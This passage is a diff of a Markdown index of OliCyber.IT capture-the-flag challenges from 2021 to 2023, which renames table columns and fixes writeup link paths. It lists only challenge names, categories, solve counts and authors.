Mario Del Gaudio <@hdesk> | -| 7 | binary | [strong-as-md5](https://training.olicyber.it/challenges#challenge-377) | [writeup](software2.md) | 20 | Mario Del Gaudio <@hdesk> | -| 8 | binary | [baby-printf](https://training.olicyber.it/challenges#challenge-378) | [writeup](software3.md) | 6 | Mario Del Gaudio <@hdesk> | -| 9 | web | [MEME SHOP](https://training.olicyber.it/challenges#challenge-380) | [writeup](web1.md) | 129 | Aleandro Prudenzano <@drw0if> | -| 10 | web | [MEME SHOP review](https://training.olicyber.it/challenges#challenge-381) | [writeup](web2.md) | 33 | Aleandro Prudenzano <@drw0if> | -| 11 | web | [INVALSI](https://training.olicyber.it/challenges#challenge-382) | [writeup](web3.md) | 18 | Aleandro Prudenzano <@drw0if> | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :------------------------------------------------------------------------------------------- | :----------------------------------- | ----------: | :------------------------------ | +| 1 | misc | [Gab-chan.png](https://training.olicyber.it/challenges#challenge-375) | [writeup](/2023-camp-2/misc1.md) | 5 | Alessandro Pizzorni <@Pixel> | +| 2 | network | [SSH login](https://training.olicyber.it/challenges#challenge-376) | [writeup](/2023-camp-2/network1.md) | 207 | Alberto Carboneri <@Alberto247> | +| 3 | crypto | [Last minute](https://training.olicyber.it/challenges#challenge-372) | [writeup](/2023-camp-2/crypto1.md) | 178 | Lorenzo Demeio <@Devrar> | +| 4 | crypto | [Il solito servizio](https://training.olicyber.it/challenges#challenge-374) | [writeup](/2023-camp-2/crypto2.md) | 40 | Lorenzo Demeio <@Devrar> | +| 5 | crypto | [Sempre più primi, sempre più strani](https://training.olicyber.it/challenges#challenge-373) | [writeup](/2023-camp-2/crypto3.md) | 2 | Lorenzo Demeio <@Devrar> | +| 6 | binary | [implementation defined](https://training.olicyber.it/challenges#challenge-379) | [writeup](/2023-camp-2/software1.md) | 21 | Mario Del Gaudio <@hdesk> | +| 7 | binary | [strong-as-md5](https://training.olicyber.it/challenges#challenge-377) | [writeup](/2023-camp-2/software2.md) | 20 | Mario Del Gaudio <@hdesk> | +| 8 | binary | [baby-printf](https://training.olicyber.it/challenges#challenge-378) | [writeup](/2023-camp-2/software3.md) | 6 | Mario Del Gaudio <@hdesk> | +| 9 | web | [MEME SHOP](https://training.olicyber.it/challenges#challenge-380) | [writeup](/2023-camp-2/web1.md) | 129 | Aleandro Prudenzano <@drw0if> | +| 10 | web | [MEME SHOP review](https://training.olicyber.it/challenges#challenge-381) | [writeup](/2023-camp-2/web2.md) | 33 | Aleandro Prudenzano <@drw0if> | +| 11 | web | [INVALSI](https://training.olicyber.it/challenges#challenge-382) | [writeup](/2023-camp-2/web3.md) | 18 | Aleandro Prudenzano <@drw0if> | ## OliCyber.IT 2023 - Training Camp 1 -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :------------------------------------------------------------------------------- | :----------------------------------- | -----: | :------------------------------ | -| 1 | misc | [IHC - I Hate Captcha!](https://training.olicyber.it/challenges#challenge-364) | [writeup](/2023-camp-1/misc1.md) | 37 | Alessandro Pizzorni <@Pixel> | -| 2 | network | [Secure Co. Login](https://training.olicyber.it/challenges#challenge-365) | [writeup](/2023-camp-1/network1.md) | 8 | Alberto Carboneri <@Alberto247> | -| 3 | crypto | [Cifrario a caso](https://training.olicyber.it/challenges#challenge-361) | [writeup](/2023-camp-1/crypto1.md) | 42 | Lorenzo Demeio <@Devrar> | -| 4 | crypto | [DH revisited](https://training.olicyber.it/challenges#challenge-362) | [writeup](/2023-camp-1/crypto2.md) | 7 | Francesco Felet <@PhiQuadro> | -| 5 | crypto | [A weird trip to Delphi](https://training.olicyber.it/challenges#challenge-363) | [writeup](/2023-camp-1/crypto3.md) | 4 | Francesco Felet <@PhiQuadro> | -| 6 | binary | [runme](https://training.olicyber.it/challenges#challenge-366) | [writeup](/2023-camp-1/software1.md) | 163 | Mario Del Gaudio <@hdesk> | -| 7 | binary | [flagvault](https://training.olicyber.it/challenges#challenge-367) | [writeup](/2023-camp-1/software2.md) | 40 | Mario Del Gaudio <@hdesk> | -| 8 | binary | [big-overflow](https://training.olicyber.it/challenges#challenge-368) | [writeup](/2023-camp-1/software3.md) | 5 | Mario Del Gaudio <@hdesk> | -| 9 | web | [Gabibbo Says](https://training.olicyber.it/challenges#challenge-369) | [writeup](/2023-camp-1/web1.md) | 195 | Stefano Alberto <@xato> | -| 10 | web | [L'ennesimo login bypass](https://training.olicyber.it/challenges#challenge-370) | [writeup](/2023-camp-1/web2.md) | 28 | Aleandro Prudenzano <@drw0if> | -| 11 | web | [Cloud free tier](https://training.olicyber.it/challenges#challenge-371) | [writeup](/2023-camp-1/web3.md) | 5 | Aleandro Prudenzano <@drw0if> | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :------------------------------------------------------------------------------- | :----------------------------------- | ----------: | :------------------------------ | +| 1 | misc | [IHC - I Hate Captcha!](https://training.olicyber.it/challenges#challenge-364) | [writeup](/2023-camp-1/misc1.md) | 37 | Alessandro Pizzorni <@Pixel> | +| 2 | network | [Secure Co. Login](https://training.olicyber.it/challenges#challenge-365) | [writeup](/2023-camp-1/network1.md) | 8 | Alberto Carboneri <@Alberto247> | +| 3 | crypto | [Cifrario a caso](https://training.olicyber.it/challenges#challenge-361) | [writeup](/2023-camp-1/crypto1.md) | 42 | Lorenzo Demeio <@Devrar> | +| 4 | crypto | [DH revisited](https://training.olicyber.it/challenges#challenge-362) | [writeup](/2023-camp-1/crypto2.md) | 7 | Francesco Felet <@PhiQuadro> | +| 5 | crypto | [A weird trip to Delphi](https://training.olicyber.it/challenges#challenge-363) | [writeup](/2023-camp-1/crypto3.md) | 4 | Francesco Felet <@PhiQuadro> | +| 6 | binary | [runme](https://training.olicyber.it/challenges#challenge-366) | [writeup](/2023-camp-1/software1.md) | 163 | Mario Del Gaudio <@hdesk> | +| 7 | binary | [flagvault](https://training.olicyber.it/challenges#challenge-367) | [writeup](/2023-camp-1/software2.md) | 40 | Mario Del Gaudio <@hdesk> | +| 8 | binary | [big-overflow](https://training.olicyber.it/challenges#challenge-368) | [writeup](/2023-camp-1/software3.md) | 5 | Mario Del Gaudio <@hdesk> | +| 9 | web | [Gabibbo Says](https://training.olicyber.it/challenges#challenge-369) | [writeup](/2023-camp-1/web1.md) | 195 | Stefano Alberto <@xato> | +| 10 | web | [L'ennesimo login bypass](https://training.olicyber.it/challenges#challenge-370) | [writeup](/2023-camp-1/web2.md) | 28 | Aleandro Prudenzano <@drw0if> | +| 11 | web | [Cloud free tier](https://training.olicyber.it/challenges#challenge-371) | [writeup](/2023-camp-1/web3.md) | 5 | Aleandro Prudenzano <@drw0if> | ## OliCyber.IT 2022 - Competizione nazionale -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :-------------------------------------------------------------------------------- | :-------------------------------------- | -----: | :----------- | -| 1 | binary | [Dati Privati](https://training.olicyber.it/challenges#challenge-291) | [writeup](/2022-nazionale/binary1.md) | 7 | @nick0ve | -| 2 | binary | [Frontdoor 1](https://training.olicyber.it/challenges#challenge-292) | [writeup](/2022-nazionale/binary2-3.md) | 3 | @Alberto247 | -| 3 | binary | [Frontdoor 2](https://training.olicyber.it/challenges#challenge-293) | [writeup](/2022-nazionale/binary2-3.md) | 3 | @Alberto247 | -| 4 | binary | [Amatriciana](https://training.olicyber.it/challenges#challenge-294) | [writeup](/2022-nazionale/binary4.md) | 4 | @OrsoBruno96 | -| 5 | crypto | [OTP-as-a-Service 1](https://training.olicyber.it/challenges#challenge-295) | [writeup](/2022-nazionale/crypto1.md) | 45 | @Drago | -| 6 | crypto | [Rompi Schemi Asimmetrici](https://training.olicyber.it/challenges#challenge-296) | [writeup](/2022-nazionale/crypto2.md) | 38 | @Drago | -| 7 | crypto | [OTP-as-a-Service 2](https://training.olicyber.it/challenges#challenge-297) | [writeup](/2022-nazionale/crypto3.md) | 10 | @Drago | -| 8 | crypto | [RSwAp](https://training.olicyber.it/challenges#challenge-298) | [writeup](/2022-nazionale/crypto4.md) | 3 | @mr96 | -| 9 | misc | [GGOL](https://training.olicyber.it/challenges#challenge-299) | [writeup](/2022-nazionale/misc1.md) | 6 | @lorenz | -| 10 | misc | [GGOL2](https://training.olicyber.it/challenges#challenge-300) | [writeup](/2022-nazionale/misc2.md) | 2 | @lorenz | -| 11 | network | [SNECC 1](https://training.olicyber.it/challenges#challenge-301) | [writeup](/2022-nazionale/network1.md) | 87 | @matpro | -| 12 | network | [SNECC 2](https://training.olicyber.it/challenges#challenge-302) | [writeup](/2022-nazionale/network2.md) | 22 | @matpro | -| 13 | web | [BibboDB](https://training.olicyber.it/challenges#challenge-303) | [writeup](/2022-nazionale/web1.md) | 32 | @xato | -| 14 | web | [Private Notes](https://training.olicyber.it/challenges#challenge-304) | [writeup](/2022-nazionale/web2.md) | 2 | @xato | -| 15 | web | [Bibvault 1](https://training.olicyber.it/challenges#challenge-305) | [writeup](/2022-nazionale/web3.md) | 9 | @maxpnl | -| 16 | web | [Bibvault^2](https://training.olicyber.it/challenges#challenge-306) | [writeup](/2022-nazionale/web4.md) | 5 | @maxpnl | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :-------------------------------------------------------------------------------- | :-------------------------------------- | ----------: | :----------- | +| 1 | binary | [Dati Privati](https://training.olicyber.it/challenges#challenge-291) | [writeup](/2022-nazionale/binary1.md) | 7 | @nick0ve | +| 2 | binary | [Frontdoor 1](https://training.olicyber.it/challenges#challenge-292) | [writeup](/2022-nazionale/binary2-3.md) | 3 | @Alberto247 | +| 3 | binary | [Frontdoor 2](https://training.olicyber.it/challenges#challenge-293) | [writeup](/2022-nazionale/binary2-3.md) | 3 | @Alberto247 | +| 4 | binary | [Amatriciana](https://training.olicyber.it/challenges#challenge-294) | [writeup](/2022-nazionale/binary4.md) | 4 | @OrsoBruno96 | +| 5 | crypto | [OTP-as-a-Service 1](https://training.olicyber.it/challenges#challenge-295) | [writeup](/2022-nazionale/crypto1.md) | 45 | @Drago | +| 6 | crypto | [Rompi Schemi Asimmetrici](https://training.olicyber.it/challenges#challenge-296) | [writeup](/2022-nazionale/crypto2.md) | 38 | @Drago | +| 7 | crypto | [OTP-as-a-Service 2](https://training.olicyber.it/challenges#challenge-297) | [writeup](/2022-nazionale/crypto3.md) | 10 | @Drago | +| 8 | crypto | [RSwAp](https://training.olicyber.it/challenges#challenge-298) | [writeup](/2022-nazionale/crypto4.md) | 3 | @mr96 | +| 9 | misc | [GGOL](https://training.olicyber.it/challenges#challenge-299) | [writeup](/2022-nazionale/misc1.md) | 6 | @lorenz | +| 10 | misc | [GGOL2](https://training.olicyber.it/challenges#challenge-300) | [writeup](/2022-nazionale/misc2.md) | 2 | @lorenz | +| 11 | network | [SNECC 1](https://training.olicyber.it/challenges#challenge-301) | [writeup](/2022-nazionale/network1.md) | 87 | @matpro | +| 12 | network | [SNECC 2](https://training.olicyber.it/challenges#challenge-302) | [writeup](/2022-nazionale/network2.md) | 22 | @matpro | +| 13 | web | [BibboDB](https://training.olicyber.it/challenges#challenge-303) | [writeup](/2022-nazionale/web1.md) | 32 | @xato | +| 14 | web | [Private Notes](https://training.olicyber.it/challenges#challenge-304) | [writeup](/2022-nazionale/web2.md) | 2 | @xato | +| 15 | web | [Bibvault 1](https://training.olicyber.it/challenges#challenge-305) | [writeup](/2022-nazionale/web3.md) | 9 | @maxpnl | +| 16 | web | [Bibvault^2](https://training.olicyber.it/challenges#challenge-306) | [writeup](/2022-nazionale/web4.md) | 5 | @maxpnl | -## OliCyber.IT 2022 - Competizione territoriale +## OliCyber.IT 2022 - Selezione territoriale -| # | categoria | challenge | writeup | solves | Owner | -| --: | :-------- | :-------------------------------------------------------------------------------- | :--------------------------------------- | -----: | :----------- | -| 1 | binary | [Scure Gate](https://training.olicyber.it/challenges#challenge-228) | [writeup](2022-territoriale/binary1.md) | 196 | @Alberto247 | -| 2 | binary | [Rererererererecursive](https://training.olicyber.it/challenges#challenge-229) | [writeup](2022-territoriale/binary2.md) | 10 | @OrsoBruno96 | -| 3 | binary | [Big bird](https://training.olicyber.it/challenges#challenge-230) | [writeup](2022-territoriale/binary3.md) | 11 | @OrsoBruno96 | -| 4 | crypto | [Worlde](https://training.olicyber.it/challenges#challenge-231) | [writeup](2022-territoriale/crypto1.md) | 203 | @mr96 | -| 5 | crypto | [The encrypted line](https://training.olicyber.it/challenges#challenge-232) | [writeup](2022-territoriale/crypto2.md) | 16 | @Drago | -| 6 | crypto | [babyoracle](https://training.olicyber.it/challenges#challenge-233) | [writeup](2022-territoriale/crypto3.md) | 7 | @Drago/mr96 | -| 7 | misc | [Do you believe in magic?](https://training.olicyber.it/challenges#challenge-234) | [writeup](2022-territoriale/misc1.md) | 155 | @lorenz | -| 8 | network | [Daring New State](https://training.olicyber.it/challenges#challenge-235) | [writeup](2022-territoriale/network1.md) | 54 | @matpro | -| 9 | web | [Flag Pass](https://training.olicyber.it/challenges#challenge-236) | [writeup](2022-territoriale/web1.md) | 153 | @xato | -| 10 | web | [EasyShop](https://training.olicyber.it/challenges#challenge-237) | [writeup](2022-territoriale/web2.md) | 12 | @Maxpnl | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :-------------------------------------------------------------------------------- | :--------------------------------------- | ----------: | :----------- | +| 1 | binary | [Scure Gate](https://training.olicyber.it/challenges#challenge-228) | [writeup](2022-territoriale/binary1.md) | 196 | @Alberto247 | +| 2 | binary | [Rererererererecursive](https://training.olicyber.it/challenges#challenge-229) | [writeup](2022-territoriale/binary2.md) | 10 | @OrsoBruno96 | +| 3 | binary | [Big bird](https://training.olicyber.it/challenges#challenge-230) | [writeup](2022-territoriale/binary3.md) | 11 | @OrsoBruno96 | +| 4 | crypto | [Worlde](https://training.olicyber.it/challenges#challenge-231) | [writeup](2022-territoriale/crypto1.md) | 203 | @mr96 | +| 5 | crypto | [The encrypted line](https://training.olicyber.it/challenges#challenge-232) | [writeup](2022-territoriale/crypto2.md) | 16 | @Drago | +| 6 | crypto | [babyoracle](https://training.olicyber.it/challenges#challenge-233) | [writeup](2022-territoriale/crypto3.md) | 7 | @Drago/mr96 | +| 7 | misc | [Do you believe in magic?](https://training.olicyber.it/challenges#challenge-234) | [writeup](2022-territoriale/misc1.md) | 155 | @lorenz | +| 8 | network | [Daring New State](https://training.olicyber.it/challenges#challenge-235) | [writeup](2022-territoriale/network1.md) | 54 | @matpro | +| 9 | web | [Flag Pass](https://training.olicyber.it/challenges#challenge-236) | [writeup](2022-territoriale/web1.md) | 153 | @xato | +| 10 | web | [EasyShop](https://training.olicyber.it/challenges#challenge-237) | [writeup](2022-territoriale/web2.md) | 12 | @Maxpnl | ## OliCyber.IT 2021 - Competizione nazionale -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :---------------------------------------------------------------------------------------------- | :-------------------------------------- | -----: | :----------- | -| 1 | binary | [La settimana enigmistica](https://training.olicyber.it/challenges#challenge-144) | [writeup](/2021-nazionale/binary1.md) | 23 | @Alberto247 | -| 2 | binary | [Algoritmo Sicuro e Resistente](https://training.olicyber.it/challenges#challenge-145) | [writeup](/2021-nazionale/binary2.md) | 19 | @Alberto247 | -| 3 | binary | [I predetatori dell'indirizzo perduto 1](https://training.olicyber.it/challenges#challenge-146) | [writeup](/2021-nazionale/binary3.md) | 14 | @OrsoBruno96 | -| 4 | binary | [I predetatori dell'indirizzo perduto 2](https://training.olicyber.it/challenges#challenge-147) | [writeup](/2021-nazionale/binary4.md) | 10 | @OrsoBruno96 | -| 5 | crypto | [Un po' di storia](https://training.olicyber.it/challenges#challenge-136) | [writeup](/2021-nazionale/crypto1.md) | 69 | @Drago | -| 6 | crypto | [Small bits of RSA](https://training.olicyber.it/challenges#challenge-137) | [writeup](/2021-nazionale/crypto2.md) | 33 | @Drago | -| 7 | crypto | [SoundOfSystem](https://training.olicyber.it/challenges#challenge-138) | [writeup](/2021-nazionale/crypto3.md) | 7 | @Drago | -| 8 | crypto | [Large bits of RSA](https://training.olicyber.it/challenges#challenge-139) | [writeup](/2021-nazionale/crypto4.md) | 0 | @Drago | -| 9 | misc | [Il test di ammissione](https://training.olicyber.it/challenges#challenge-140) | [writeup](/2021-nazionale/misc1.md) | 60 | @matpr | -| 10 | misc | [Il test di ammissione 2](https://training.olicyber.it/challenges#challenge-141) | [writeup](/2021-nazionale/misc2.md) | 1 | @matpr | -| 11 | network | [tr(A)Is](https://training.olicyber.it/challenges#challenge-142) | [writeup](/2021-nazio nale/network1.md) | 111 | @lorenz | -| 12 | network | [Dispositivo Non Sicuro](https://training.olicyber.it/challenges#challenge-143) | [writeup](/2021-nazionale/network2.md) | 25 | @lorenz | -| 13 | web | [Fritto Misto 1](https://training.olicyber.it/challenges#challenge-148) | [writeup](/2021-nazionale/web1.md) | 37 | @Maxpnl | -| 14 | web | [Fritto Misto 2](https://training.olicyber.it/challenges#challenge-149) | [writeup](/2021-nazionale/web2.md) | 4 | @Maxpnl | -| 15 | web | [FlagDownloader 1](https://training.olicyber.it/challenges#challenge-150) | [writeup](/2021-nazionale/web3.md) | 91 | @xato | -| 16 | web | [FlagDownloader 2](https://training.olicyber.it/challenges#challenge-151) | [writeup](/2021-nazionale/web4.md) | 4 | @xato | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :---------------------------------------------------------------------------------------------- | :------------------------------------- | ----------: | :----------- | +| 1 | binary | [La settimana enigmistica](https://training.olicyber.it/challenges#challenge-144) | [writeup](/2021-nazionale/binary1.md) | 23 | @Alberto247 | +| 2 | binary | [Algoritmo Sicuro e Resistente](https://training.olicyber.it/challenges#challenge-145) | [writeup](/2021-nazionale/binary2.md) | 19 | @Alberto247 | +| 3 | binary | [I predetatori dell'indirizzo perduto 1](https://training.olicyber.it/challenges#challenge-146) | [writeup](/2021-nazionale/binary3.md) | 14 | @OrsoBruno96 | +| 4 | binary | [I predetatori dell'indirizzo perduto 2](https://training.olicyber.it/challenges#challenge-147) | [writeup](/2021-nazionale/binary4.md) | 10 | @OrsoBruno96 | +| 5 | crypto | [Un po' di storia](https://training.olicyber.it/challenges#challenge-136) | [writeup](/2021-nazionale/crypto1.md) | 69 | @Drago | +| 6 | crypto | [Small bits of RSA](https://training.olicyber.it/challenges#challenge-137) | [writeup](/2021-nazionale/crypto2.md) | 33 | @Drago | +| 7 | crypto | [SoundOfSystem](https://training.olicyber.it/challenges#challenge-138) | [writeup](/2021-nazionale/crypto3.md) | 7 | @Drago | +| 8 | crypto | [Large bits of RSA](https://training.olicyber.it/challenges#challenge-139) | [writeup](/2021-nazionale/crypto4.md) | 0 | @Drago | +| 9 | misc | [Il test di ammissione](https://training.olicyber.it/challenges#challenge-140) | [writeup](/2021-nazionale/misc1.md) | 60 | @matpr | +| 10 | misc | [Il test di ammissione 2](https://training.olicyber.it/challenges#challenge-141) | [writeup](/2021-nazionale/misc2.md) | 1 | @matpr | +| 11 | network | [tr(A)Is](https://training.olicyber.it/challenges#challenge-142) | [writeup](/2021-nazionale/network1.md) | 111 | @lorenz | +| 12 | network | [Dispositivo Non Sicuro](https://training.olicyber.it/challenges#challenge-143) | [writeup](/2021-nazionale/network2.md) | 25 | @lorenz | +| 13 | web | [Fritto Misto 1](https://training.olicyber.it/challenges#challenge-148) | [writeup](/2021-nazionale/web1.md) | 37 | @Maxpnl | +| 14 | web | [Fritto Misto 2](https://training.olicyber.it/challenges#challenge-149) | [writeup](/2021-nazionale/web2.md) | 4 | @Maxpnl | +| 15 | web | [FlagDownloader 1](https://training.olicyber.it/challenges#challenge-150) | [writeup](/2021-nazionale/web3.md) | 91 | @xato | +| 16 | web | [FlagDownloader 2](https://training.olicyber.it/challenges#challenge-151) | [writeup](/2021-nazionale/web4.md) | 4 | @xato |